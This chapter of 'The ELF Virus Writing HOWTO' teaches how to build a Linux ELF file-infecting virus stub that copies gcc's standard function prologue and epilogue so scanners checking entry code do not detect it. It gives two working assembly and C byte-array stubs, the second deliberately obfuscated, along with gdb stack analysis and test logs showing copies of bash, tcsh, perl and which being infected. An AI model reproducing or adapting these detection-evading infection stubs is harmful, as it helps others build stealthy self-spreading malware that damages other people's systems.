The ELF Virus Writing HOWTO
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# 12. The stub revisited

| A person who is more than casually interested in computers should be well schooled in machine language, since it is a fundamental part of a computer.
| Donald Knuth

The scanners in Turn the pages and Second scan check program layout for deviations. On a typical Linux distribution this yields good results since all programs are compiled and linked with the same set of tools. But there are legitimate reasons for executables to look different. Some rescue tools and non-free executables are linked statically to be independent of the target system. [1]

> asmutils is a set of miscellaneous utilities written in assembly language, targeted on embedded systems and small distributions (e.g. installation or rescue disks); also it contains a small libc and a crypto library. It features the smallest possible size and memory requirements, the fastest speed, and offers fairly good functionality.

The next best approach is to follow the flow of control and verify visited code, starting from the entry point. Again this relies on a certain homogeneity of executables.

1. A very simple check is alignment. We handle that here and here. gcc(1) never starts functions on odd addresses. But neither VIT nor RST seem to care and put the infection after the last byte of the code segment.

2. The improved versions of `patchEntryAddr` in The entry point do a primitive check of the call to `__libc_start_main`. Since we leave the entry point unmodified we pass this test.

3. The next step is to check entry code of functions called by `__libc_start_main`, especially `main`. We are vulnerable to this.

## 12.1. Disassembly

patchEntryAddr 3.0 patches the call of __libc_start_main to invoke our virus code instead of `main`. To stay undetected our code should mimic the real thing. The disassembly of our first program shows everything we need to know. But then that listing was retrieved through heavy cheating.

To disassembly the `main` of a regular executable we extend the exercise of Disassemble it again, Sam. The script performs no kind of error checking. Feeding anything else than executables built by gcc(1) can have strange effects (like no output at all). There is also no limit on output length. In the examples below the `Makefile` building this document used head(1).

Command: src/stub_revisited/ndisasm.sh

    #!/bin/sh
    file=${1:-/bin/bash}
    entry_point=$( od -j24 -An -td4 -N4 ${file} )

    # 134512640 = 0x8048000
    # 24 = offset to address of main in code of _start
    main_point_ofs=$( expr ${entry_point} - 134512640 + 24 )
    main=$( od -j${main_point_ofs} -An -td4 -N4 ${file} )
    main_ofs=$( expr ${main} - 134512640 )

    ndisasm -e ${main_ofs} -o ${main} -U ${file}

First a simple test. Compare with above mentioned disassembly.

Output: out/redhat-linux-i386/stub_revisited/magic_elf.ndisasm

    08048460  55                push ebp
    08048461  89E5              mov ebp,esp
    08048463  83EC0C            sub esp,byte +0xc
    08048466  6A03              push byte +0x3
    08048468  6801800408        push dword 0x8048001
    0804846D  6A01              push byte +0x1
    0804846F  E8A4FEFFFF        call 0x8048318
    08048474  31C0              xor eax,eax
    08048476  89EC              mov esp,ebp
    08048478  5D                pop ebp

A look at `tmp/doing_it_in_c/e3/sh_infected`.

Output: out/redhat-linux-i386/stub_revisited/sh_infected.ndisasm

    080C1280  6880940508        push dword 0x8059480
    080C1285  9C                pushf
    080C1286  60                pusha
    080C1287  E804000000        call 0x80c1290
    080C128C  61                popa
    080C128D  9D                popf
    080C128E  C3                ret
    080C128F  90                nop
    080C1290  55                push ebp
    080C1291  89E5              mov ebp,esp

And this is plain `/bin/bash`.

Output: out/redhat-linux-i386/stub_revisited/sh.ndisasm

    08059480  55                push ebp
    08059481  89E5              mov ebp,esp
    08059483  57                push edi
    08059484  56                push esi
    08059485  53                push ebx
    08059486  83EC24            sub esp,byte +0x24
    08059489  6A01              push byte +0x1
    0805948B  68E0BA0C08        push dword 0x80cbae0
    08059490  E8A3F9FFFF        call 0x8058e38
    08059495  83C410            add esp,byte +0x10

The first two instructions, making up three bytes, are constant. They are followed by an optional series of `push` to save special registers. Then comes a `sub esp` to reserve space for local variables. This also seems to be constant. Trivial In the language of mortals does not use local variables and still ends up with a `sub`.

For the exit code of `/bin/bash` we need a better filter.

Command: src/stub_revisited/ndisasm_ret.sh

    #!/bin/sh
    ( src/stub_revisited/ndisasm.sh "$@" 2>&1 ) \
    | sed -e '/ret/q' \
    | tail

Output: out/redhat-linux-i386/stub_revisited/sh_ret.ndisasm

    08059B2C  A12CB70C08        mov eax,[0x80cb72c]
    08059B31  83EC0C            sub esp,byte +0xc
    08059B34  50                push eax
    08059B35  E826030000        call 0x8059e60
    08059B3A  8D65F4            lea esp,[ebp-0xc]
    08059B3D  5B                pop ebx
    08059B3E  5E                pop esi
    08059B3F  5F                pop edi
    08059B40  5D                pop ebp
    08059B41  C3                ret

I call this weird. It seems that `0xc` byte are reserved on the stack just to stay unused. And why does one program use `leave` and the other `pop ebp`? A quote from the documentation [2] of `nasm` [2]:

> LEAVE ; C9 [186]

> `LEAVE` destroys a stack frame of the form created by the `ENTER` instruction [3] It is functionally equivalent to `MOV ESP,EBP` followed by `POP EBP`.

I guess that we are safe on that front. It's easy to check the existence of fixed byte values at a certain location (the entry code). But I doubt whether a static scanner could really realize whether a given exit code is just a dummy. Or what instruction a `ret` effectively jumps to.

## 12.2. Stack dump

Let's examine the stack of In the language of mortals just after the `sub` was executed. Note that you don't have to quote character "`$`" in interactive gdb(1) sessions. Instead of "`\$sp`" you type plain "`$sp`" to reference the stack pointer.

Command: src/stub_revisited/stack.sh

    #!/bin/sh
    file=${1:-${TMP}/magic_elf/magic_elf}
    gdb ${file} -q <<EOT
    	break *0x08048466
    	run
    	backtrace
    	printf "esp=%08x ebp=%08x\n", \$esp, \$ebp
    	x/3xw \$sp
    	x/3xw \$sp + 12
    	x/3xw \$sp + 24
    	x/3xw \$sp + 36
    EOT

Output: out/redhat-linux-i386/stub_revisited/stack

    (gdb) Breakpoint 1 at 0x8048466
    (gdb) Starting program: /home/alba/virus-writing-HOWTO/tmp/redhat-linux-i386/magic_elf/magic_elf

    Breakpoint 1, 0x08048466 in main ()
    (gdb) #0  0x08048466 in main ()
    #1  0x4003d316 in __libc_start_main (main=0x8048460 <main>, argc=1,
        ubp_av=0xbffff6b4, init=0x80482e0 <_init>, fini=0x80484c0 <_fini>,
        rtld_fini=0x4000d2fc <_dl_fini>, stack_end=0xbffff6ac)
        at ../sysdeps/generic/libc-start.c:129
    (gdb) esp=bffff63c ebp=bffff648
    (gdb) 0xbffff63c:	0x08048441	0x080494f8	0x080495f8
    (gdb) 0xbffff648:	0xbffff688	0x4003d316	0x00000001
    (gdb) 0xbffff654:	0xbffff6b4	0xbffff6bc	0x080482f6
    (gdb) 0xbffff660:	0x080484c0	0x00000000	0xbffff688
    (gdb)

## 12.3. Another look at the source

The program was stopped at address `0x8048466` in function `main`, which was called from `__libc_start_main`. We already encountered file `../sysdeps/generic/libc-start.c` in Use the Source, Luke. For sheer curiosity a look at line 129:

Command: src/stub_revisited/get_libc_start_main.sh

    #!/bin/sh
    output=${1:-src/stub_revisited/__libc_start_main}
    stack=${2:-out/i386/stub_revisited/stack}

    base_dir=$(
      find /usr/src/redhat/SOURCES -maxdepth 1 -type d -name 'glibc-*'
    )

    # If the file is not in the place I'm used to on my machine
    # we fall back to the copy shipped with this document.
    # Forcing my usage of SRPMs gains nothing.
    [ -d "${base_dir}" ] || exit 0

    sed -n -e 's/:/ /g' -e 's/^ *at *//p' < ${stack} \
    | ( read original_filename line_number

      filename="${base_dir}/${original_filename#../}"
      [ -e ${filename} ] || exit 0

      start=$( expr ${line_number} - 8 )
      end=$( expr ${line_number} + 4 )

      ( echo "# ${filename}"
        echo ""
        nl -ba -p ${filename} | sed -n -e "${start},${end} p"
      ) > ${output}
    )

Command: src/stub_revisited/__libc_start_main

    # /usr/src/redhat/SOURCES/glibc-2.2.4/sysdeps/generic/libc-start.c

       121	  if (init)
       122	    (*init) ();
       123
       124	#ifdef SHARED
       125	  if (__builtin_expect (_dl_debug_mask & DL_DEBUG_IMPCALLS, 0))
       126	    _dl_debug_printf ("\ntransferring control: %s\n\n", argv[0]);
       127	#endif
       128
       129	  exit ((*main) (argc, argv, __environ));
       130	}

Looks plausible.

## 12.4. A few bytes on the stack

Address | esp | ebp | Contents | Description
--- | --- | --- | --- | ---
The top three values on the stack are just random junk. The instruction just before our break point decremented `esp` by `0xc = 12` to use that space for local variables. They are not initialized yet, though.
`0xbffff63c` | `esp + 0` | `ebp - 12` | `0x8048441` | random junk
`0xbffff640` | `esp + 4` | `ebp - 8` | `0x80494f8` | random junk
`0xbffff644` | `esp + 8` | `ebp - 4` | `0x80495f8` | random junk
Everything further down - including the next two values - must be preserved for the host code.
`0xbffff648` | `esp + 12` | `ebp + 0` | `0xbffff688` | saved ebp
`0xbffff64c` | `esp + 16` | `ebp + 4` | `0x4003d316` | return address
The next three values are the arguments of `main`. We declared the function as plain `main()` so gdb(1) does not know about these identifiers.
`0xbffff650` | `esp + 20` | `ebp + 8` | `0x1` | `argc`
`0xbffff654` | `esp + 24` | `ebp + 12` | `0xbffff6b4` | `argv`
`0xbffff658` | `esp + 28` | `ebp + 16` | `0xbffff6bc` | `environ`
The next few values up to 0xbffff688 (saved `ebp`) are local variables of `__libc_start_main`.

The new stub must fulfill a few constraints.

- Both entry code and exit code is fixed.

- The stack below `ebp + 0` must not be modified.

- After executing infectious code it must jump to the original host code.

- Original host code expects the value of `esp` to be `0xbffff64c` and the value of `ebp` to be `0xbffff688` (values are not constant, just given for illustration).

## 12.5. First implementation

If we keep original exit code then we must modify the stack. The simpliest approach is to move the original `ebp` one position (4 bytes) down. Original entry code already reserved 12 unused bytes so we don't have to adjust `esp`. In the free space we store the address of host code.

Source: src/doing_it_in_c/i2/infection.asm

    		BITS 32

    		push	ebp
    		mov	ebp,esp
    		sub	esp,byte 0xc

    wrapper:	; replace -1 with address of original host code
    		mov	eax,dword -1
    		xchg	eax,[ebp]
    		sub	ebp,byte 4
    		mov	[ebp],eax
    		align 8

    		; dummy instruction to specify offset
    		push    byte wrapper + 1

The following disassembly shows stub and the first function of the C part, called `body`. The stub ends with a few `nop` instructions to align its size. Flow of control just continues from stub to `body`. Since this is a regular C function it also has standard entry code. But this does not matter because standard exit code starts with a `leave`. No matter how much stuff was pushed on the stack between end of stub and exit code of `body`, the `leave` instruction will pop off the moved `ebp`. The following `ret` then jumps to host code.

Source: out/redhat-linux-i386/doing_it_in_c/e3i2.ndisasm

    08049378  55                push ebp
    08049379  89E5              mov ebp,esp
    0804937B  83EC0C            sub esp,byte +0xc
    0804937E  B8FFFFFFFF        mov eax,0xffffffff
    08049383  874500            xchg eax,[ebp+0x0]
    08049386  83ED04            sub ebp,byte +0x4
    08049389  894500            mov [ebp+0x0],eax
    0804938C  90                nop
    0804938D  90                nop
    0804938E  90                nop
    0804938F  90                nop
    08049390  55                push ebp
    08049391  89E5              mov ebp,esp
    08049393  57                push edi
    08049394  52                push edx
    08049395  E82A000000        call 0x80493c4
    0804939A  8D9000940408      lea edx,[eax+0x8049400]
    080493A0  89D7              mov edi,edx
    080493A2  FC                cld
    080493A3  31C0              xor eax,eax
    080493A5  B9FFFFFFFF        mov ecx,0xffffffff
    080493AA  F2AE              repne scasb
    080493AC  F7D1              not ecx
    080493AE  49                dec ecx
    080493AF  51                push ecx
    080493B0  52                push edx
    080493B1  6A01              push byte +0x1
    080493B3  6A04              push byte +0x4
    080493B5  E81A000000        call 0x80493d4
    080493BA  83C410            add esp,byte +0x10
    080493BD  8B7DFC            mov edi,[ebp-0x4]
    080493C0  C9                leave
    080493C1  C3                ret

## 12.6. First test

Output: out/redhat-linux-i386/doing_it_in_c/e3i2/cc

    Infecting copy of /bin/tcsh... wrote 168 bytes, Ok
    Infecting copy of /usr/bin/perl... wrote 168 bytes, Ok
    Infecting copy of /usr/bin/which... wrote 168 bytes, Ok
    Infecting copy of /bin/sh... wrote 168 bytes, Ok

Output: out/redhat-linux-i386/doing_it_in_c/test-e3i2

    ELF is dead baby, ELF is dead.
    /home/alba/virus-writing-HOWTO/tmp/redhat-linux-i386/doing_it_in_c/e3i2/sh_infected
    2.05.8(1)-release
    /usr/bin/which
    ELF is dead baby, ELF is dead.
    /usr/bin/which
    ELF is dead baby, ELF is dead.
    tcsh 6.10.00 (Astron) 2000-11-19 (i386-intel-linux) options 8b,nls,dl,al,kan,rh,color,dspm
    ELF is dead baby, ELF is dead.

    ELF is dead baby, ELF is dead.
    GNU bash, version 2.05.8(1)-release (i386-redhat-linux-gnu)
    Copyright 2000 Free Software Foundation, Inc.

## 12.7. Second implementation

This is the same idea, only obfuscated by an intermediate `call`. Variations on this topic are endless.

Source: src/doing_it_in_c/i3/infection.asm

    		BITS 32

    		push	ebp
    		mov	ebp,esp
    		sub	esp,byte 0xc
    		call	wrapper
    		leave
    		ret
    		align	4
    wrapper:	; replace -1 with address of original host code
    		mov	eax,dword -1
    		xchg	eax,[ebp]
    		sub	ebp,byte 4
    		mov	[ebp],eax
    		align 8

    		; dummy instruction to specify offset
    		push    byte wrapper + 1

Source: out/redhat-linux-i386/doing_it_in_c/i3/infection.inc

    const unsigned char Target::infection[]
    __attribute__ (( aligned(8), section(".text") )) =
    {
      0x55,                          /* 00000000: push ebp             */
      0x89,0xE5,                     /* 00000001: mov ebp,esp          */
      0x83,0xEC,0x0C,                /* 00000003: sub esp,byte +0xc    */
      0xE8,0x05,0x00,0x00,0x00,      /* 00000006: call 0x10            */
      0xC9,                          /* 0000000B: leave                */
      0xC3,                          /* 0000000C: ret                  */
      0x90,                          /* 0000000D: nop                  */
      0x90,                          /* 0000000E: nop                  */
      0x90,                          /* 0000000F: nop                  */
      0xB8,0xFF,0xFF,0xFF,0xFF,      /* 00000010: mov eax,0xffffffff   */
      0x87,0x45,0x00,                /* 00000015: xchg eax,[ebp+0x0]   */
      0x83,0xED,0x04,                /* 00000018: sub ebp,byte +0x4    */
      0x89,0x45,0x00,                /* 0000001B: mov [ebp+0x0],eax    */
      0x90,                          /* 0000001E: nop                  */
      0x90                           /* 0000001F: nop                  */
    };
    enum { ENTRY_POINT_OFS = 0x11 };

## 12.8. Second test

Output: out/redhat-linux-i386/doing_it_in_c/e3i3/cc

    Infecting copy of /bin/tcsh... wrote 192 bytes, Ok
    Infecting copy of /usr/bin/perl... wrote 192 bytes, Ok
    Infecting copy of /usr/bin/which... wrote 192 bytes, Ok
    Infecting copy of /bin/sh... wrote 192 bytes, Ok

Output: out/redhat-linux-i386/doing_it_in_c/test-e3i3

    ELF is dead baby, ELF is dead.
    /home/alba/virus-writing-HOWTO/tmp/redhat-linux-i386/doing_it_in_c/e3i3/sh_infected
    2.05.8(1)-release
    /usr/bin/which
    ELF is dead baby, ELF is dead.
    /usr/bin/which
    ELF is dead baby, ELF is dead.
    tcsh 6.10.00 (Astron) 2000-11-19 (i386-intel-linux) options 8b,nls,dl,al,kan,rh,color,dspm
    ELF is dead baby, ELF is dead.

    ELF is dead baby, ELF is dead.
    GNU bash, version 2.05.8(1)-release (i386-redhat-linux-gnu)
    Copyright 2000 Free Software Foundation, Inc.

### Notes

[1] | http://linuxassembly.org/asmutils.html
[2] | http://www.octium.net/oldnasm/docs/nasmdoca.html#section-A.94
[3] | http://www.octium.net/oldnasm/docs/nasmdoca.html#section-A.27

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